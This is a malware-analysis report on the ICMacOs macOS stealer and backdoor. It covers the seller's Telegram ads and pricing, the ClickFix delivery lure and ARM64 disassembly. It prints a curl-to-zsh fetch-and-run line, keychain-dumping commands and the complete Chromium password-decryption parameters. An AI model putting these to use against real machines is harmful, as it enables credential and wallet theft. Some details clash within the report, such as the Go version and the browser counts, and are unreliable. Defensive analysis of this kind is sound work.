Malware Family Analysis • macOS

Dissecting ICMacOs: A Field Guide to Apple Silicon Stealers

An Investigation into MaaS Operations, Threat Actor Communications, Technical Capabilities, and the Monetization of Stolen Cloud Credentials.

Table of Contents
25 Sections
ICMacOS
Figure: ICMacOS Click to zoom ↗

Executive Summary

Static reverse engineering of the Apple Silicon (ARM64) Mach-O binary d9df05a3fb68d302ecf134a1214b609c6ec0a3fb9122907214afac3908b587f4 identifies ICMacOs, a Go 1.22.4 compiled threat designed to combine bulk credential theft with an interactive remote backdoor. All findings are derived directly from binary disassembly.

Core Capabilities

▪Credential and Secret Harvesting: Contains routines to extract and decrypt credentials from 12 Chromium browsers via PBKDF2 and AES-128-CBC, cloud configurations (AWS, GCP, Kubernetes, Docker), SSH keys, and recursive .env files.
▪Wallets and Communications: Targets 29 desktop cryptocurrency wallets, WhatsApp SQLite stores (including Signal Protocol keys in axolotl.db), Telegram Desktop sessions, and Apple Messages (chat.db).
▪Automated File Collection: Scans user folders for 21 targeted file extensions (.txt, .pdf, .docx, .key, .wallet, .kdbx, .env) with a 50 MB per-file limit.
▪Staging and Exfiltration: Staged data is aggregated in /tmp/.systemd-private-helper/, archived into organized.zip, and transmitted via HTTPS multipart POST to /upload.
▪Persistence and Remote Control: Deploys a LaunchAgent plist (com.apple.systemupdater.plist) pointing to ~/.local/share/.systemd-helper/.updater and opens a persistent WebSocket connection (/ws) that accepts remote commands (shell:<cmd>) executed via bash -c.

Campaign Infrastructure and Attribution:

▪The malware author embeds public identifiers in the binary, including a module path (github. com/ultra-supara/ICMacOs), a Telegram support channel (https://t.me/ICMACOS), and an Exploit.in forum sales thread.
▪While the threat actor rotates C2 domains across campaigns (escapeai.live, miumaco.space, mikoblico.xyz), the compiled code structure remains identical.

Threat actor intelligence, monetization ecosystem, and ground-truth correlation

Technical reverse engineering often stops at disassembly. In this investigation, string evidence embedded in the binary (https://t.me/ICMACOS at virtual address 0x100487548 and Exploit.in forum thread 291615) allowed us to track the developer's public operational communications, pricing models, feature roadmaps, and affiliate networks.

telegram url inside the sample.
Figure: telegram url inside the sample. Click to zoom ↗

Investigating this Telegram channel gives us direct insight into the threat actor's business model, subscription pricing, delivery techniques, and technical changelogs.

Matching public threat actor announcements directly against compiled binary structures provides undeniable ground truth: it confirms author intent, explains specific error handlers, and reveals how stolen data is monetized downstream.

The Malware-as-a-Service (MaaS) business model

ICMacOs is not a private, state-sponsored tool. It is a commercial, closed-source infostealer and Remote Access Trojan (RAT) sold on Russian-language cybercrime forums (including Exploit.in thread 291615) and Telegram.

The operation is run by a threat actor using the handle @SaykatChain. An earlier associate operating under the handle @ObjectCollision (also known as Lax, Kage Jones, @memtore, and @Layer7King) was publicly removed from the project in October 2026.

The project operates under the "Icarus" cybercrime umbrella, which consists of three interconnected tools:

1.ICMacOs: The primary macOS credential harvester and interactive backdoor.
▪https://t.me/icarusclickfix
2.Icarus ClickFix: The delivery platform using social engineering lures.
▪https://t.me/icarusclickfix
3.ICryptoClip: A companion cryptocurrency clipboard hijacker supporting 13 blockchains.
4.MadHash (@TeambotMadHashbot): An affiliated automated log-sorting team.

To purchase the malware, buyers contact @SaykatChain directly on Telegram. The pricing tiers posted in the channel are:

▪Two-week license: $899
▪Monthly license: $1,299 (discounted to $899 during promotional sales
Threat actor channel post advertising ICMacOs subscription tiers ($899 for two weeks, $1,299 monthly) and sales contact @SaykatChain
Figure: Threat actor channel post advertising ICMacOs subscription tiers ($899 for two weeks, $1,299 monthly) and sales contact @SaykatChain Click to zoom ↗

Feature capabilities and the CIS exclusion rule

Directly following the pricing announcement, the developer posted a technical capability sheet describing the stealer's architecture, target files, and geographic restrictions:

▪Platform support: Native compilation for ARM64 (Apple Silicon) and x86_64 across macOS Sierra (10.12) up to macOS 15+.
▪Credential targets: Passwords from the macOS Keychain, Chromium browser vaults (Chrome, Edge, Brave, Opera), Gecko profiles (Firefox), and Safari history and cookies.
▪Developer secrets: Private SSH keys, AWS credentials, Kubernetes configs, .env files, and terminal command histories (.zsh_history, .bash_history).
▪Mandatory CIS geofence: The author explicitly states that the malware contains an enforced geofence preventing execution against hosts within the Commonwealth of Independent States (CIS):

Билды не работают по СНГ (гео-лок включён по умолчанию, снять нельзя)

(English translation: "Builds do not work in the CIS (geo-lock is enabled by default, cannot be removed)").

This public declaration directly explains the purpose of function _main.getIsCIS (0x100435fc0), which

queries ipinfo.io/country and halts exfiltration if the host IP resolves to Russia, Belarus, Kazakhstan, or nine other CIS countries.

Threat actor specification sheet outlining harvested targets (macOS Keychain, browser vaults, AWS/SSH keys) and confirming mandatory CIS geofencing.
Figure: Threat actor specification sheet outlining harvested targets (macOS Keychain, browser vaults, AWS/SSH keys) and confirming mandatory CIS geofencing. Click to zoom ↗

English Translation:

TELEMETRY / OUTPUT
Works on all versions of macOS starting with Sierra (10.12) and above, including the latest builds.

Supports both architectures: x86_64 and ARM64 (Apple Silicon).
You can start working immediately after purchase: create a build in the panel and use it in your CAPTCHA system.

What is collected:

🔒Passwords from macOS keychain

💻 Cookies, history, and autofill data for Chromium-based browsers (Chrome, Edge, Brave, Opera)

🦊 Cookies, history, and autofill data for Gecko-based browsers (Firefox)

🔄 Cookies and history for Safari

💱 Desktop cryptocurrency wallets (Exodus, Electrum, Bitcoin Core, etc.)

🎲 Browser cryptocurrency wallets, 2FA extensions, password managers

🔍 User notes

🕷 Complete information about the device and connected devices

✈ Telegram session in a familiar format (tdata)

🔎 AWS keys, Kubernetes keys, SSH keys, terminal command history, and environment variables

🎱 Recursive file collection from the desktop and documents (extensions are configurable)

🔵 Option to specify text in the modal window when launched

Technical Information:

The panel is written in Go + MySQL, and it is stable and fast.

Output formats: curl command with base64 encryption, zsh script, AppleScript.

Script morphing and obfuscation - antivirus software is not a threat.

Architecture support: x86_64, ARM64 (macOS Sierra and above)

When launched, the victim enters a password (the text in the modal window is configurable).

Builds do not work in the CIS region (geo-lock is enabled by default and cannot be disabled).

Information for the Buyer:

AAA+ level support (fast responses, assistance with configuration)

Panel with convenient log viewing, search, and statistics

Constant updates, new modules, and product improvements

After the subscription ends, logs continue to be received for another 5 days.

Disclosing the "Live Control" RAT and LaunchAgent persistence

Threat actor update announcing interactive WebSocket RAT capabilities (restuck, shell execution) and LaunchAgent autostart parameters.
Figure: Threat actor update announcing interactive WebSocket RAT capabilities (restuck, shell execution) and LaunchAgent autostart parameters. Click to zoom ↗

English translation:

TELEMETRY / OUTPUT
✍ Live Control (also known as RAT)
New section in the panel. Full control over the Mac:

— Terminal - commands directly from the panel
— 20+ templates - whoami, pwd, ls, system_profiler, ps aux, ifconfig, dscl
— Restuck - restart the collection with a single click
— Online/Offline - shows who is online

🔄 Autostart

— RunAtLoad + KeepAlive + StartInterval: 3600
— config.json with password/build/owner - for silent startup
— WebSocket lives forever - the Mac doesn't disappear from the panel

☝ Silent Startup
— defaults write - hides the command in the Terminal title
— killall Terminal after 3 seconds - the window closes
— silent mode - no password required during autostart

🪙 Collection Update

— Steam - sessions, loginusers.vdf
— Outlook profiles
— Autofill - Chrome, Safari, Firefox
— Password Managers - Bitwarden, 1Password, Dashlane, LastPass, NordPass, Enpass
— Total of 35 crypto extensions - MetaMask, Phantom, Keplr, OKX, Coinbase, Rabby, Trust, Ronin, TronLink, Solflare, Backpack, Petra, Sui, Nami, Eternl, Yoroi, MathWallet, Coin98, Talisman, SubWallet, Polkadot.js + 2FA/Notes
— ~29 desktop wallets - Ledger Live, Trezor Suite, Sparrow, Wasabi, Coinomi, Guarda, Bitcoin Core, Monero, Daedalus, MyMonero, Zcash + 18 more
— Clipboard - clipboard contents
— Terminal History - .zsh_history, .bash_history

On September 22,2026 the threat actor published an update detailing the deployment of an interactive Remote Access Trojan (RAT) component alongside persistent execution.

▪Interactive terminal control: The post announces "Live Control (он же RAT)" (Live Control, aka RAT), enabling operators to dispatch terminal commands directly through an administrative web panel.
▪The restuck command: An operator can click a button named "Restuck" to trigger an immediate re-harvesting cycle on the infected Mac.
▪Persistence parameters: The author lists the LaunchAgent configuration parameters: RunAtLoad + KeepAlive + StartInterval: 3600

config.json с паролем/build/owner - для silent-запуска

(English translation: "RunAtLoad + KeepAlive + StartInterval: 3600. config.json with password/build/owner for silent launch").

Delivery mechanics: The ClickFix infection vector

How does this malware land on a victim's machine? Threat actor announcements explicitly instruct affiliates to pair their generated payloads with Icarus ClickFix.

ClickFix is a social engineering technique that bypasses browser sandboxes without relying on zero-day browser exploits:

1.The victim visits a compromised website or malicious landing page disguised as a legitimate web service or software download.
2.The page presents a deceptive verification prompt (such as a fake Cloudflare or Google Chrome "Verify

you are human" challenge).

3.The prompt displays instructions telling the victim:
▪Press Command + Space to open macOS Spotlight.
▪Type Terminal and press Enter.
▪Press Command + V to paste the "verification key" and press Enter.
4.When the victim pastes the clipboard contents, they execute a malicious shell command:

curl -sL https://<distribution-domain>/payload | zsh

5.The shell script downloads the thin ARM64 Mach-O executable, marks it executable (chmod +x), and

launches it in the background.

Downstream cloud and AI token monetization

Information stealers do not simply sell bulk password databases. In November 2026, the channel forwarded an announcement from a prominent Exploit.in forum credential broker (@NET_SCAN_Admin / thread 290892 / netscansoft.com), illustrating how stolen developer secrets are monetized:

The broker offers automated payout splits for valid API tokens extracted by ICMacOs:

▪Amazon Web Services (AWS): 40% payout based on available compute capacity.
▪Microsoft Azure: 30% payout.
▪Anthropic Claude API keys: 30% payout.

These stolen keys are exploited for automated cloud compute rental, unauthorized large language model inference, and enterprise cloud persistence. This monetization pipeline explains why ICMacOs contains dedicated code to scan ~/.aws/credentials, ~/.azure/, .env files, and .gitconfig before harvesting consumer files.

cloud and AI token monetization: image from the telegram channel
Figure: cloud and AI token monetization: image from the telegram channel Click to zoom ↗

Management Portal

Dashboard
Figure: Dashboard Click to zoom ↗
Log’s page
Figure: Log’s page Click to zoom ↗

Reverse Engineering The Sample

Initial triage and Mach-O inspection

Every macOS malware investigation begins in the terminal. Before opening a disassembler or running a file, you need to answer basic questions: What kind of file is this? What architecture does it target? Is it signed, and does it carry a valid developer certificate?

Sample Metadata

Running lipo -info confirms that this is a non-fat file targeting arm64 exclusively. Many legitimate macOS software packages are distributed as "universal" binaries that combine x86_64 (Intel) and arm64 (Apple Silicon) architectures into a single binary slice. This author targeted Apple Silicon directly without bundling an Intel slice.

Code signing inspection

On Apple Silicon, macOS enforces a kernel-level rule: all ARM64 executable code must have a valid code signature to run. If an unnotarized or unsigned binary attempts to execute, the kernel terminates it with a SIGKILL before the first user-space instruction runs.

Malware authors bypass this check by using ad-hoc signatures. We inspect the signature details using codesign -dvvv

Codesign inspection
Figure: Codesign inspection Click to zoom ↗

This output provide high-value technical context:

1.Identifier=a.out: When a developer compiles code without providing an explicit bundle identifier, compilers default to a.out.
2.Signature=adhoc: The binary is not signed by an Apple Developer certificate. Anyone can generate an ad-hoc signature on macOS by running codesign -s - <binary>. It satisfies the Apple Silicon requirement for code directory structures without linking back to a registered developer identity.
3.flags=0x20002(adhoc,linker-signed): The linker generated the signature directly during the build process.
4.TeamIdentifier=not set: No Apple Developer Program account is tied to this executable.
5.Info.plist=not bound: Legitimate macOS desktop applications run as bundles (.app) containing embedded property lists that declare permissions and user-facing properties. This binary is a standalone command-line executable.

What is CDHash?

A Code Directory Hash (CDHash) is a cryptographic identifier derived from the Mach-O binary's CodeDirectory, which contains code-signing metadata and hashes of the executable's code pages.

On macOS, CDHash is particularly useful because it can help identify a specific code-signed executable through Apple's code-signing infrastructure.

Extracting Go build metadata and dependency analysis

Go binaries pack an extraordinary amount of metadata inside the compiled executable. Unless a developer strips the binary using specific linker flags (-ldflags="-s -w"), the Go toolchain embeds the compiler version, the root module path, the build settings, and the exact version of every third-party dependency.

We extract this metadata using the native go version -m command.

TERMINAL / COMMAND
go version -m d9df05a3fb68d302ecf134a1214b609c6ec0a3fb9122907214afac3908b587f4

Output:

Embedded Go build manifest.
Figure: Embedded Go build manifest. Click to zoom ↗

Decoding the build manifest

This output reveals the author's toolchain setup and operational capabilities before we write a single line of disassembly:

1.Compiler toolchain: Built with go1.24.0 targeting darwin/arm64 (GOARM64=v8.0).
2.Project identity: The project path is github.com/ultra-supara/ICMacOs. This directly exposes the author's internal repository naming convention.
3.Pure Go compilation (CGO_ENABLED=0): By compiling without Cgo, the author avoided linking against system C libraries. This explains why the malware imports modernc.org/sqlite instead of the standard C-backed mattn/go-sqlite3. A pure Go SQLite engine allows the binary to query local SQLite stores (browser history, cookies, Apple Notes) without triggering dynamic library dependencies.
4.Credential dumping library (moond4rk/keychainbreaker v0.2.6): This open-source package is built to extract passwords and keys from macOS Keychain database files. Its presence in the dependency tree confirms native credential theft capabilities.
5.Interactive communication (gorilla/websocket v1.5.3): While ordinary stealers rely solely on one-shot HTTP POST uploads, a WebSocket dependency indicates a persistent, bidirectional channel between the infected Mac and the attacker server.
6.Cryptographic decryption (golang.org/x/crypto v0.43.0): Used for PBKDF2 key derivation and cipher block chaining, necessary to decrypt Chrome and Chromium Safe Storage vaults.
7.JSON manipulation (tidwall/gjson v1.18.0): Provides fast querying of JSON files, targeting browser configuration files, extension manifests, and the malware's own local configuration.

Process management and geofencing in ARM64 disassembly

When analyzing Go binaries on macOS, static analysis can feel intimidating because Go uses its own runtime scheduler and calling conventions. Unlike standard C programs that pass arguments in registers x0 through x7 and place return values in x0, Go 1.17 and newer versions use a register-based internal ABI that mixes stack allocations with register passing.

In this section, we examine two defensive mechanisms built into ICMacOs by inspecting their raw ARM64

assembly in Binary Ninja:

1._main.killOldProcesses: Enforces a single running instance.
2._main.getIsCIS: Detects analysis environments and filters victims based on geography.

Enforcing single-instance execution (main.killOldProcesses at 0x100432fb0)

Function main.killOldProcesses
Figure: Function _main.killOldProcesses Click to zoom ↗

The malware author ensures only one copy of the stealer runs at any given time. If an analyst or user attempts to launch the binary multiple times, or if a previous instance is hanging, this routine finds and terminates earlier processes.

ARM64 DISASSEMBLY
# Block 1: Stack check and prologue
100432fb0  ldr     x16, [x28, #0x10]
100432fb4  sub     x17, sp, #0x10
100432fb8  cmp     x17, x16
100432fbc  b.ls    0x10043312c
100432fc0  str     lr, [sp, #-0x90]!
100432fc4  stur    fp, [sp, #-0x8]
100432fc8  sub     fp, sp, #0x8

Understanding the Go stack guard

Every Go function begins with instructions that check whether the current goroutine has sufficient stack space. In ARM64 Go binaries, register x28 holds the pointer to the current g (goroutine) struct.

▪At 0x100432fb0, ldr x16, [x28, #0x10] loads the goroutine stack guard boundary into x16.
▪At 0x100432fb4 and 0x100432fb8, it compares the adjusted stack pointer (x17) against x16.
▪If stack space is exhausted, b.ls 0x10043312c branches to runtime.morestack_noctxt to allocate a larger stack chunk.
▪Once past the check, the standard frame setup occurs: saving the link register (lr) and frame pointer (fp).

Inspecting the process discovery command

Directly after the prologue, the function records its own Process ID (PID) and prepares an external command invocation:

ARM64 DISASSEMBLY
100432fd0  bl      0x1000b5550          ; os.Getpid()
100432fd4  str     x0, [sp, #0x38]      ; Store current PID at [sp + 0x38]
...
100432fe8  adrp    x0, 0x100480000
100432fec  add     x0, x0, #0x941       ; Pointer to string "-f"
...
100432ffc  adrp    x0, 0x100481000
100433000  add     x0, x0, #0x638       ; Pointer to string "ICMacOs"
...
100433008  adrp    x0, 0x100480000
10043300c  add     x0, x0, #0xecf       ; Pointer to string "pgrep"
100433010  mov     x1, #0x5             ; Length of "pgrep" = 5 bytes
10043301c  bl      0x10022bd40          ; os/exec.Command("pgrep", "-f", "ICMacOs")
100433020  bl      0x10022e510          ; exec.Cmd.Output()

ARM64 instructions use PC-relative addressing with page pairs: adrp computes the base address of a 4KB memory page, and add applies the offset within that page. Here, the malware builds a slice containing "-f" and "ICMacOs", moves the command name "pgrep" into x0, sets length 5 in x1, and executes pgrep -f ICMacOs.

PID evaluation and termination loop

The command output is split into individual PID strings using strings.Fields and converted to integers via strconv.Atoi:

Disassembly of main.killOldProcesses ( os.Getpid(), and SIGKILL )
Figure: Disassembly of _main.killOldProcesses ( os.Getpid(), and SIGKILL ) Click to zoom ↗
ARM64 DISASSEMBLY
100433084  ldr     x2, [x0]
100433088  ldr     x1, [x0, #0x8]
100433094  bl      0x1000978b0          ; strconv.Atoi(pidString)
...
1004330a4  ldr     x2, [sp, #0x38]      ; Load own PID from [sp + 0x38]
1004330a8  cmp     x2, x0               ; Compare own PID with discovered PID
1004330ac  b.eq    0x100433064          ; If equal, skip termination
...
1004330b8  bl      0x1000d2cb0          ; os.FindProcess(targetPID)
1004330c0  adrp    x27, 0x100949000
1004330c4  ldr     x1, [x27, #0xdd0]    ; Load syscall.SIGKILL (9)
1004330d8  bl      0x1000d2720          ; Process.Signal(syscall.SIGKILL)

Notice the critical check at 0x1004330a8: cmp x2, x0. If the discovered PID matches the stealer's own PID (b.eq 0x100433064), it advances to the next loop iteration. Any other PID matching "ICMacOs" is terminated immediately with SIGKILL (signal 9).

Geofencing and CIS evasion (main.getIsCIS at 0x100435fc0)

Threat actors targeting specific geographic demographics frequently incorporate country checks to avoid infecting systems in their home region (often the Commonwealth of Independent States, or CIS).

In _main.getIsCIS, the binary uses a two-tier verification mechanism: an external web query followed by a local system environment fallback.

Building the 12-country hash table

At entry, the function initializes a 12-element Go map containing CIS country codes:

main.getIsCIS
Figure: _main.getIsCIS Click to zoom ↗
ARM64 DISASSEMBLY
100435fe8  adrp    x0, 0x100595000
100435fec  add     x0, x0, #0x780       ; Map type descriptor
100435ff0  orr     x1, xzr, #0xc        ; Initial capacity = 12 (0xc)
100435ff8  bl      0x10006b750          ; runtime.makemap()

It inserts 12 two-character country strings using runtime.mapassign_faststr (0x100007d60):

No.AddressCountry CodeCountry
10x100480945RURussia
20x100480947BYBelarus
30x100480949KZKazakhstan
40x10048094bUAUkraine
50x10048094dAMArmenia
60x10048094fKGKyrgyzstan
70x100480951TJTajikistan
80x100480953UZUzbekistan
90x100480955MDMoldova
100x100480957AZAzerbaijan
110x100480959TMTurkmenistan
120x10048095bGEGeorgia

The network check (0x1004363b0)

At address 0x1004361b0, the binary calls internal helper 0x1004363b0. Looking at the disassembly of that helper reveals an external HTTP request:

Address: 0x1004361b0
Figure: Address: 0x1004361b0 Click to zoom ↗
Curl command:
Figure: Curl command: Click to zoom ↗
ARM64 DISASSEMBLY
1004363d8  adrp    x5, 0x100480000
1004363dc  add     x5, x5, #0x93f       ; "-c" (length 2)
1004363e4  mov     x5, #0x2e            ; Length 46 bytes
1004363ec  adrp    x5, 0x100496000
1004363f0  add     x5, x5, #0x125       ; "curl -s --max-time 5 <https://ipinfo.io/country>"
1004363f8  adrp    x0, 0x100480000
1004363fc  add     x0, x0, #0x95d       ; "sh" (length 2)
10043640c  bl      0x10022bd40          ; os/exec.Command("sh", "-c", "curl...")
100436410  bl      0x10022e510          ; exec.Cmd.Output()

If the curl command fails or encounters a timeout, it returns the string "unknown" (0x1004815dd)

Fallback verification: local locale

Returning to _main.getIsCIS, the binary tests whether the returned string is "unknown":

returning unknown branching to 0x1004361f0
Figure: returning unknown branching to 0x1004361f0 Click to zoom ↗
ARM64 DISASSEMBLY
1004361b4  cmp     x1, #0x7             ; Check if string length is 7
1004361bc  ldr     w5, [x0]             ; Load first 4 bytes
1004361c0  mov     x6, #0x6e75
1004361c4  movk    x6, #0x6e6b, lsl #16 ; Matches "unkn"
1004361c8  cmp     w5, w6
...
1004361d8  cmp     w5, w6               ; Matches "ow"
1004361e4  cmp     w5, #0x6e            ; Matches "n"

If the response is "unknown", the malware cannot rely on IP geolocation. It branches to 0x1004361f0 and falls back to a host command:

0x1004361f0
Figure: 0x1004361f0 Click to zoom ↗
ARM64 DISASSEMBLY
100436214  adrp    x5, 0x100488000
100436218  add     x5, x5, #0x674       ; "locale | grep -c ru_RU" (length 22)
100436220  adrp    x0, 0x100480000
100436224  add     x0, x0, #0x95d       ; "sh"
100436234  bl      0x10022bd40          ; os/exec.Command("sh", "-c", "locale | grep -c ru_RU")
100436238  bl      0x10022e510          ; exec.Cmd.Output()
...
100436254  cmp     x1, #0x1             ; Verify output length is 1 byte
10043625c  ldrb    w2, [x0]             ; Load byte from output
100436260  cmp     w2, #0x30            ; 0x30 is ASCII '0'
100436264  b.eq    0x100436284          ; If '0', not ru_RU -> return "false"
10043626c  adrp    x0, 0x100480000
100436270  add     x0, x0, #0xbd8       ; "true"
100436280  ret

If grep -c ru_RU returns any count greater than zero (anything other than ASCII '0'), the function returns "true".

Querying the CIS country table

If the network curl query returned a valid two-letter country code instead of "unknown", the code

performs a fast map lookup:

ARM64 DISASSEMBLY
1004362b4  bl      0x100007870          ; runtime.mapaccess1_faststr()
1004362b8  ldrb    w2, [x0]             ; Load map lookup result
1004362bc  tbz     w2, #0, 0x1004362d8  ; Test bit 0: if not found, jump to 0x1004362d8
1004362c0  adrp    x0, 0x100480000
1004362c4  add     x0, x0, #0xbd8       ; Load string "true" (0x100480bd8)
1004362d4  ret                          ; Return "true"
...
1004362d8  adrp    x0, 0x100480000
1004362dc  add     x0, x0, #0xede       ; Load string "false" (0x100480ede)
1004362ec  ret                          ; Return "false"

If the victim IP is in one of the 12 CIS countries, tbz does not branch, and the function returns "true".

When isCIS evaluates to "true", main.main logs "CIS country detected — upload SKIPPED" and skips main.upload, ensuring the victim machine's data is never transmitted to the attacker's server.

Browser credential theft and Chromium Safe Storage decryption

On macOS, Chromium-based browsers (Google Chrome, Brave, Microsoft Edge, Opera, Opera GX, Vivaldi) do not encrypt saved passwords and session cookies with a simple static key. Instead, they delegate credential encryption to the macOS Keychain through an API known as Chromium Safe Storage.

When you save a password or cookie in Chrome on macOS:

1.Chrome requests a random password from the login Keychain named "Chrome Safe Storage".
2.Chrome passes this password to a key derivation function (PBKDF2) along with a hardcoded salt ("saltysalt") to generate a 16-byte AES-128 key.
3.Chrome encrypts the secret using AES-128-CBC with a fixed 16-byte initialization vector (IV) consisting of 16 ASCII space characters (0x20).
4.Chrome prepends a 3-byte version header (v10 or v11) and stores the ciphertext in a local SQLite database (Login Data or Cookies).

ICMacOs contains a complete implementation of this decryption pipeline in pure Go, bypassing the browser entirely.

Extracting the storage key from the Keychain (main.extractChromeKeyFromSecurity at 0x10043e540)

The malware first attempts to unlock the target Keychain directly using the victim password if one was supplied or discovered:

Targeting Keychain
Figure: Targeting Keychain Click to zoom ↗
ARM64 DISASSEMBLY
10043e5d8  orr     x2, xzr, #0xf        ; Length = 15 bytes
10043e5e0  adrp    x2, 0x100484000
10043e5e4  add     x2, x2, #0x9b8       ; "unlock-keychain"
10043e5ec  orr     x2, xzr, #0x2        ; Length = 2 bytes
10043e5f4  adrp    x2, 0x100480000
10043e5f8  add     x2, x2, #0x93d       ; "-p"
...
10043e618  adrp    x0, 0x100481000
10043e61c  add     x0, x0, #0xb4e       ; "security"
10043e630  bl      _os/exec.Command     ; security unlock-keychain -p <pass> ~/Library/Keychains/login.keychain-db

Once the Keychain is accessible, the malware loops over a table of 7 Chromium browsers:

ARM64 DISASSEMBLY
# Loop header comparing against 7 supported browsers
10043e778  str     x2, [sp, #0xa8]
10043e77c  str     x1, [sp, #0x70]
10043e780  cmp     x0, #0x7             ; Check if index reached 7
10043e784  b.ge    0x10043ebb0          ; Break loop when all browsers processed

For each browser, it constructs a command to query the Keychain using macOS's built-in security utility:

Keychain
Figure: Keychain Click to zoom ↗
ARM64 DISASSEMBLY
10043e7c0  mov     x5, #0x15            ; Length = 21 bytes
10043e7c8  adrp    x5, 0x100487000
10043e7cc  add     x5, x5, #0xea5       ; "find-generic-password"
10043e7d4  orr     x5, xzr, #0x2        ; Length = 2 bytes
10043e7dc  adrp    x6, 0x100480000
10043e7e0  add     x6, x6, #0x961       ; "-s"
10043e7f4  str     x6, [sp, #0x2f0]     ; Target service: e.g. "Chrome Safe Storage"
...
10043e800  add     x6, x6, #0x963       ; "-a"
10043e814  str     x6, [sp, #0x310]     ; Target account: e.g. "Chrome"
...
10043e820  add     x5, x5, #0x943       ; "-w"
...
10043e838  adrp    x0, 0x100481000
10043e83c  add     x0, x0, #0xb4e       ; "security"
10043e850  bl      _os/exec.Command

Notice the -w flag passed at 0x10043e820. In the macOS security tool, -w instructs the command to output only the secret password string without any surrounding labels or headers. This returns the raw Safe Storage secret directly into standard output.

Deriving the AES-128 key via PBKDF2 (0x100433dec)

Once the malware receives the Safe Storage secret, it calls _golang.org/x/crypto/pbkdf2.Key inside _main.main (0x100433dec) to generate the symmetric key:

▪Password: The raw string returned by security find-generic-password -w.
▪Salt: "saltysalt" (9 bytes).
▪Iteration count: 0x3eb in hexadecimal, which equals exactly 1003 rounds.
▪Key length: 0x10 (16 bytes for AES-128).
▪Hash function: HMAC-SHA1 (sha1.New).

This generates the 16-byte key needed to decrypt every credential stored in that browser profile.

AES-128-CBC decryption and space IV (decrypter.Chromium at 0x10024ce70)

With the derived key in hand, the malware parses the browser's SQLite database (Login Data for passwords, Cookies for web sessions) and passes each encrypted value to _github.com/ultra-supara/ICMacOs/decrypter.Chromium.

ARM64 DISASSEMBLY
# Step 1: Verify ciphertext length > 3
10024ce90  cmp     x4, #0x3             ; Compare ciphertext length against 3
10024ce94  b.le    0x10024cf50          ; If <= 3 bytes, return error

Chromium prepends a 3-byte version string (v10 on older versions, v11 on current releases) to the

encrypted payload. Any buffer with 3 or fewer bytes cannot contain valid ciphertext, so cmp x4, #0x3 acts

as a guard.

ARM64 DISASSEMBLY
# Step 2: Initialize 16-byte space IV
10024cee0  str     x5, [sp, #0x90]
...
10024cf04  mov     x1, #0x2020202020202020 ; Eight ASCII spaces (0x20)
10024cf08  str     x1, [x0]                ; Write 8 bytes
10024cf0c  str     x1, [x0, #0x8]          ; Write next 8 bytes (total 16 bytes)

Look at 0x10024cf04. The immediate constant 0x2020202020202020 consists of 8 repeated bytes of 0x20 (the

ASCII value for a space character). Writing this twice produces a 16-byte buffer:

" " (16 space characters).

This confirms the Chromium CBC Initialization Vector convention.

constant 0x2020202020202020
Figure: constant 0x2020202020202020 Click to zoom ↗
ARM64 DISASSEMBLY
# Step 3: Strip the 3-byte version prefix
10024cf14  sub     x8, x1, #0x3         ; Capacity = capacity - 3
10024cf18  ldr     x1, [sp, #0x80]
10024cf1c  add     x6, x1, #0x3         ; Advance buffer pointer by 3 bytes
10024cf20  ldr     x1, [sp, #0x88]
10024cf24  sub     x7, x1, #0x3         ; Length = length - 3
...
10024cf30  mov     x3, x0               ; Pass 16-byte space IV
10024cf34  orr     x4, xzr, #0x10       ; IV length = 16 (0x10)
10024cf40  bl      0x10024cfc0          ; Invoke AES-128-CBC decrypt routine

The instructions at 0x10024cf1c and 0x10024cf24 strip the 3-byte v10/v11 prefix by advancing the data pointer by 3 (add x6, x1, #0x3) and decreasing the remaining length by 3 (sub x7, x1, #0x3).

The function then calls 0x10024cfc0, which initializes aes.NewCipher, runs cipher.NewCBCDecrypter using the space IV, and decrypts the blocks. Finally, it reads the last decrypted byte (ldrb w6, [x5, x3] at 0x10024d094) to determine the PKCS#7 padding length and trims the plaintext to expose the raw password or session cookie.

Complete Browser Profile Matrix

#BrowserEngine FamilyTarget Directory PathBinary Handler FunctionFunction Address
1Google ChromeChromium (Blink)~/Library/Application Support/Google/Chrome_main.collectAllChromium0x100439a30
2Google Chrome BetaChromium (Blink)~/Library/Application Support/Google/Chrome Beta_main.collectAllChromium0x100439a30
3Google Chrome CanaryChromium (Blink)~/Library/Application Support/Google/Chrome Canary_main.collectAllChromium0x100439a30
4Brave BrowserChromium (Blink)~/Library/Application Support/BraveSoftware/Brave-Browser_main.collectAllChromium0x100439a30
5Microsoft EdgeChromium (Blink)~/Library/Application Support/Microsoft Edge_main.collectAllChromium0x100439a30
6OperaChromium (Blink)~/Library/Application Support/com.operasoftware.Opera_main.collectAllChromium0x100439a30
7Opera GXChromium (Blink)~/Library/Application Support/com.operasoftware.OperaGX_main.collectAllChromium0x100439a30
8VivaldiChromium (Blink)~/Library/Application Support/Vivaldi_main.collectAllChromium0x100439a30
9Arc BrowserChromium (Blink)~/Library/Application Support/Arc/User Data_main.collectAllChromium0x100439a30
10ChromiumChromium (Blink)~/Library/Application Support/Chromium_main.collectAllChromium0x100439a30
11Apple SafariWebKit~/Library/Safari and ~/Library/Containers/com.apple.Safari/Data/_main.collectSafari0x100436510
12Mozilla FirefoxGecko~/Library/Application Support/Firefox/Profiles/_main.collectFirefox0x1004370d0

Safe Storage and Keychain Extraction Parameters

This table reflects the Keychain lookup table located at 0x1005fb818, used by _main.extractChromeKeyFromSecurity (0x10043e540).

BrowserKeychain ServiceKeychain AccountSaltPBKDF2 IterationsCipher & IV
Google ChromeChromeChrome Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Google Chrome BetaUses Chrome Key FallbackUses Chrome Key Fallbacksaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Google Chrome CanaryUses Chrome Key FallbackUses Chrome Key Fallbacksaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Brave BrowserBraveBrave Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Microsoft EdgeMicrosoft EdgeMicrosoft Edge Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
OperaOperaOpera Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Opera GXUses Opera Key FallbackUses Opera Key Fallbacksaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
VivaldiVivaldiVivaldi Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
Arc BrowserArcArc Safe Storagesaltysalt (9 B)1003 (0x3eb)AES-128-CBC (0x20 × 16)
